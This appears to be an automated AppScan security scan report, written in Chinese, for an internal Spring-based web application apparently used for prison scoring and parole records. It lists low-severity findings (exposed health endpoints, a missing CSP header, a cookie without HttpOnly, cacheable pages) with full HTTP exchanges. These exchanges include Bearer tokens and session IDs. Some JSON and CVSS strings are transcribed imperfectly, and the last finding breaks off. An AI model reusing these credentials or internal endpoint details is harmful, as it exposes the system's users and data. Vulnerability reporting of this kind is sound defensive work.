Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *

{
  "code": 401,
  "data": null,
  "msg": "账号未登录"
}
```

Spring Boot Actuator 端点已公开	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/jfkh-jg/
实体:	health (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	将 Spring 服务器端点配置为仅允许访问已认证的用户

差异: 方法 从以下位置进行控制: POST 至: GET
主体 从以下位置进行控制: {"yjmcId":"C61871F8067EB211B9A8BAAC1B34635E","yjId":"02D767F8067EB21153B0196C665C8177"} 至: --
标题 Content-Type 已从请求除去: application/json;charset=UTF-8
cookie JSESSIONID 已从请求除去: node0vef9kts18rhulur7hhzpmx0p5504.node0
标题 Authorization 已从请求除去: Bearer cd66a08b7da74700aef90497d564b054
路径 从以下位置进行控制: /admin-api/chain/jfkh-jg/listByYjmcIdOrYjId 至: /admin-api/chain/jfkh-jg/health

推理: 测试响应应包含已请求的 Spring 端点的内容，这指示其暴露于未经认证的用户。

测试请求和响应:

```
GET /admin-api/chain/jfkh-jg/health HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not(A;Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/score/martires?indexJumpId=C61871F8067EB211B9A8BAAC1B34635E
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:01:21 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *

{
  "code": 401,
  "data": null,
  "msg": "账号未登录"
}
```

Spring Boot Actuator 端点已公开	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/jfkh-gz/
实体:	health (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	将 Spring 服务器端点配置为仅允许访问已认证的用户

差异: 方法 从以下位置进行控制: POST 至: GET

主体 从以下位置进行控制: {"pageNo":1,"pageSize":10,"pch":"202505","zfbh":"","xm":"","bgjy":"","clzt":"","yjlz":"","roles":"sfj_admin","pzrqz":"","pzrqe":""} 至: --

标题 Content-Type 已从请求除去: application/json;charset=UTF-8

cookie JSESSIONID 已从请求除去: node0vef9kts18rhulur7hhzpmx0p5504.node0

标题 Authorization 已从请求除去: Bearer cd66a08b7da74700aef90497d564b054

路径 从以下位置进行控制: /admin-api/chain/jfkh-gz/page 至: /admin-api/chain/jfkh-gz/health

推理: 测试响应包含已请求的 Spring 端点的内容，这指示其暴露于未经认证的用户。

测试请求和响应:

```
GET /admin-api/chain/jfkh-gz/health HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/warningInfo/score
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:01:21 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *

{
  "code": 401,
  "data": null,
  "msg": "账号未登录"
}
```

Spring Boot Actuator 端点已公开	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/zf-kh-jkf/
实体:	health (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	将 Spring 服务器端点配置为仅允许访问已认证的用户

差异: 方法 从以下位置进行控制: POST 至: GET

主体 从以下位置进行控制: {"pageNo":1,"pageSize":10,"pch":"202505","zfbh":"","xm":"","pzrq":"","pzrqe":"","jflb":""} 至: --

标题 Content-Type 已从请求除去: application/json;charset=UTF-8

cookie JSESSIONID 已从请求除去: node0vef9kts18rhulur7hhzpmx0p5504.node0

标题 Authorization 已从请求除去: Bearer cd66a08b7da74700aef90497d564b054

路径 从以下位置进行控制: /admin-api/chain/zf-kh-jkf/page 至: /admin-api/chain/zf-kh-jkf/health

推理: 测试响应应包含已请求的 Spring 端点的内容，这指示其暴露于未经认证的用户。

测试请求和响应:

```
GET /admin-api/chain/zf-kh-jkf/health HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not(A;Brand";v="8", "Chromium";v="114", "Microsoft Edge";v="114", "Microsoft Edge WebView2";v="114"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.0.0
Accept: application/json, text/plain, */*
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/infoStorage/scoreRegistration/dailyScore/index
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:01:21 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *

{
  "code": 401,
  "data": null,
  "msg": "账号未登录"
}
```

Spring Boot Actuator 端点已公开	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/jxjs/
实体:	health (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	将 Spring 服务器端点配置为仅允许访问已认证的用户

差异: 方法 从以下位置进行控制: POST 至: GET
主体 从以下位置进行控制: {"lb":2,"yjl":4,"pageNo":1,"pageSize":10,"pch":"202505","nd":"","tqjy":"","tqrqs":"","tqrqs":"","hyjg":""} 至: --
标题 Content-Type 已从请求除去: application/json;charset=UTF-8
cookie JSESSIONID 已从请求除去: node0vef9kts18rhulur7hhzpmx0p5504.node0
标题 Authorization 已从请求除去: Bearer cd66a08b7da74700aef90497d564b054
路径 从以下位置进行控制: /admin-api/chain/jxjs/page 至: /admin-api/chain/jxjs/health

推理: 测试响应包含已请求的 Spring 端点的内容，这指示其暴露于未经认证的用户。

测试请求和响应:

```
GET /admin-api/chain/jxjs/health HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not(A;Brand";v="8", "Chromium";v="114", "Microsoft Edge";v="114", "Microsoft Edge WebView2";v="114"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.0.0
Accept: application/json, text/plain, */*
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/parole/clcs
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:01:21 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *

{
  "code": 401,
  "data": null,
  "msg": "账号未登录"
}
```

Spring Boot Actuator 端点已公开	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/jx/
实体:	health (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	将 Spring 服务器端点配置为仅允许访问已认证的用户

差异: 方法 从以下位置进行控制: POST 至: GET
主体 从以下位置进行控制: {"lb":1,"pageNo":1,"pageSize":10,"pch":"202505","tqrqs":"","tqrqe":"","tqrj":"","nd":""} 至: --
标题 Content-Type 已从请求除去: application/json;charset=UTF-8
cookie JSESSIONID 已从请求除去: node0vef9kts18rhulur7hhzpmx0p5504.node0
标题 Authorization 已从请求除去: Bearer cd66a08b7da74700aef90497d564b054
路径 从以下位置进行控制: /admin-api/chain/jx/page 至: /admin-api/chain/jx/health

推理: 测试响应包含已请求的 Spring 端点的内容，这指示其暴露于未经认证的用户。

测试请求和响应:

```
GET /admin-api/chain/jx/health HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not(A;Brand";v="8", "Chromium";v="114", "Microsoft Edge";v="114", "Microsoft Edge WebView2";v="114"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.0.0
Accept: application/json, text/plain, */*
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/infoStorage/reduce/index
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:01:21 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *

{
  "code": 401,
  "data": null,
  "msg": "账号未登录"
}
```

Spring Boot Actuator 端点已公开	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/system/
实体:	health (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	将 Spring 服务器端点配置为仅允许访问已认证的用户

差异: 方法 从以下位置进行控制: POST 至: GET
cookie JSESSIONID 已从请求除去: node0cr7vnlqpgl5v17pa8isa2ot0bl9242.node0
路径 从以下位置进行控制: /admin-api/system/auth/logout 至: /admin-api/system/health

推理: 测试响应包含已请求的 Spring 端点的内容, 这指示其暴露于未经认证的用户。

测试请求和响应:

```
GET /admin-api/system/health HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Authorization: Bearer 3afeec581f2f4422830d63cfee839d50
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:58:46 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0pxl4rwqpw0ymnmig0wnj7cqsr19299.node0; Path=/

0
```

“Content-Security-Policy”头缺失	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/
实体：	10.249.2.1 (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因：	Web 应用程序编程或配置不安全
固定值：	将服务器配置为使用安全策略的“Content-Security-Policy”头

差异：

推理： AppScan 检测到 Content-Security-Policy 响应头缺失或具有不安全策略，这可能会更大程度地暴露于各种跨站点注入攻击之下

测试请求和响应：

```
GET /admin-api/chain/shouye/aggregate HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:30:46 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=node0dztz61pyq7nfb4gibjg9v7a11911.node0; Path=/

{
  "code": 0,
  "data": {
    "pchs": [
      "202505",
      "202504",
      "202503",
      "202502",
      "202501",
      "202406",
      "202405",
      "202404",
      "202403",
      "202402",
      "202306",
      "202302"
    ],
    "batchInfo": {
      "id": null,
      "tcjy": "深圳监狱",
      "pch": "202505",
      "jxrs": 13,
      "jsrs": 4
    },
    "pieChart": {
      "jfk": 0,
      "jx": 0,
      "js": 0
    }
  },
  "msg": ""
}
```


会话 cookie 中缺少 HttpOnly 属性	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/M:X/MA:X
URL：	https://10.249.2.1:8090/
实体：	JSESSIONID (Cookie)
风险：	可能会窃取或操纵客户会话和 cookie，它们可能用于假冒合法用户，从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因：	Web 应用程序设置了缺少 HttpOnly 属性的会话 cookie
固定值：	向所有会话 cookie 添加“HttpOnly”属性

差异：

推理： AppScan 发现所用的会话 cookie 没有“HttpOnly”属性。

测试请求和响应：

```
GET /admin-api/system/auth/sso-userinfo HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
skipAuthCheck: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:26:14 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=node0cwmicfk7wnr1gr531s37qvv6452.node0; Path=/

{
  "code": 401,
  "data": null,
  "msg": "未登录或登录已过期，请重新登录"
}
```

发现可高速缓存的 SSL 页面	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/IAR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/system/auth/sso-userinfo
实体：	sso-userinfo (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因：	浏览器可能已将敏感信息高速缓存
固定值：	通过在响应中添加“Cache-Control: no-store”和“Pragma: no-cache”标题，可以阻止高速缓存 SSL 页面。

- 差异：
- 推理： 应用程序已进行响应，指示该页面应进行高速缓存，但未设置高速缓存控件（可以设置“Cache-Control: no-store”、“Cache-Control: no-cache”或“Pragma: no-cache”来防止高速缓存）。
- 测试请求和响应：

```
GET /admin-api/system/auth/sso-userinfo HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
skipAuthCheck: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:23:57 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=node0ufejmu0mr7jx13s63p5nwt9mu5693.node0; Path=/

{
  "code": 401,
  "data": null,
  "msg": "未登录或登录已过期，请重新登录"
}
```

发现可高速缓存的 SSL 页面

严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/system/dict-data/list-all-simple
实体：	list-all-simple (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因：	浏览器可能已将敏感信息高速缓存
固定值：	通过在响应中添加“Cache-Control: no-store”和“Pragma: no-cache”标题，可以阻止高速缓存 SSL 页面。

差异：

推理： 应用程序已进行响应，指示该页面应进行高速缓存，但未设置高速缓存控件（可以设置“Cache-Control: no-store”、“Cache-Control: no-cache”或“Pragma: no-cache”来防止高速缓存）。

测试请求和响应：

```
GET /admin-api/system/dict-data/list-all-simple HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18rhulur7hzhpmx0p5504.node0
Content-Length: 0
```

```
HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:23:57 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=node0x03nr2gvdzj7106ku6sstqlwu5696.node0; Path=/
```

```
{
  "code": 0,
  "data": [
    {
      "dictType": "bpm_model_category",
      "value": "1",
      "label": "默认",
      "colorType": "primary",
      "cssClass": ""
    },
    {
      "dictType": "bpm_model_category",
      "value": "2",
      "label": "OA",
      "colorType": "success",
      "cssClass": ""
    },
    {
      "dictType": "bpm_model_form_type",
      "value": "10",
      "label": "流程表单",
      "colorType": "",
      "cssClass": ""
    },
    {
      "dictType": "bpm_model_form_type",
      "value": "20",
      "label": "业务表单",
      "colorType": "",
      "cssClass": ""
    }
  ],
  {
    "dictType": "bpm_model_form_type",
    "value": "20",
    "label": "业务表单",
    "colorType": "",
    "cssClass": ""
  }
}
```

```

    "dictType": "bpm_oa_leave_type",
    "value": "1",
    "label": "病假",
    "colorType": "primary",
    "cssClass": ""
  },
  {
    "dictType": "bpm_oa_leave_type",
    "value": "2",
    "label": "事假",
    "colorType": "info",
    "cssClass": ""
  },
  {
    "dictType": "bpm_oa_leave_type",
    "value": "3",
    "label": "婚假",
    "colorType": "warning",
    "cssClass": ""
  },
  {
    "dictType": "bpm_process_instance_result",
    "value": "1",
    "label": "处理中",
    "colorType": "primary",
    "cssClass": ""
  },
  {
    "dictType": "bpm_process_instance_result",
    "value": "2",
    "label": "通过",
    "colorType": "success",
    "cssClass": ""
  },
  {
    "dictType": "bpm_process_instance_result",
    "value": "3",
    "label": "不通过",
    "colorType": "danger",
    "cssClass": ""
  },
  {
    "dictType": "bpm_process_instance_result",
    "value": "4",
    "label": "已取消",
    "colorType": "info",
    "cssClass": ""
  },
  {
    "dictType": "bpm_process_instance_status",
    "value": "1",
    "label": "进行中",
    "colorType": "primary",
    "cssClass": ""
  },
  {
    "dictType": "bpm_process_instance_status",
    "value": "2",
    "label": "已完成",
    "colorType": "success",
    "cssClass": ""
  },
  {
    "dictType": "bpm_task_assign_rule_type",
    "value": "10",
    "label": "角色",
    "colorType": "info",
    "cssClass": ""
  },
  {
    "dictType": "bpm_task_assign_rule_type",
    "value": "20",
    "label": "部门的成员",
    "colorType": "primary",
    "cssClass": ""
  },
  {
    "dictType": "bpm_task_assign_rule_type",
    "value": "21",
    "label": "部门的负责人",
    "colorType": "primary",
    "cssClass": ""
  },
  {
    "dictType": "bpm_task_assign_rule_type",
    "value": "22",
    "label": "岗位",
    "colorType": "success",
    "cssClass": ""
  },
  {
    "dictType": "bpm_task_assign_rule_type",
    "value": "30",

```

```

"label": "用户",
"colorType": "info",
"cssClass": ""
},
{
"dictType": "bpm_task_assign_rule_type",
"value": "40",
"label": "用户组",
"colorType": "warning",
"cssClass": ""
},
{
"dictType": "bpm_task_assign_rule_type",
"value": "50",
"label": "自定义脚本",
"colorType": "danger",
"cssClass": ""
},
{
"dictType": "bpm_task_assign_script",
"value": "10",
"label": "流程发起人",
"colorType": "",
"cssClass": ""
},
{
"dictType": "bpm_task_assign_script",
"value": "20",
"label": "流程发起人的一级领导",
"colorType": "",
"cssClass": ""
},
{
"dictType": "bpm_task_assign_script",
"value": "21",
"label": "流程发起人的二级领导",
"colorType": "",
"cssClass": ""
},
{
"dictType": "common_status",
"value": "0",
"label": "开启",
"colorType": "primary",
"cssClass": ""
},
{
"dictType": "common_status",
"value": "1",
"label": "关闭",
"colorType": "info",
"cssClass": ""
},
{
"dictType": "infra_api_error_log_process_status",
"value": "0",
"label": "未处理",
"colorType": "primary",
"cssClass": ""
},
{
"dictType": "infra_api_error_log_process_status",
"value": "1",
"label": "已处理",
"colorType": "success",
"cssClass": ""
},
{
"dictType": "infra_api_error_log_process_status",
"value": "2",
"label": "1a
...
...
...

```

发现可高速缓存的 SSL 页面

严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/system/dict-data/page
实体：	page (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因：	浏览器可能已将敏感信息高速缓存
固定值：	通过在响应中添加“Cache-Control: no-store”和“Pragma: no-cache”标题，可以阻止高速缓存 SSL 页面。

- 差异：
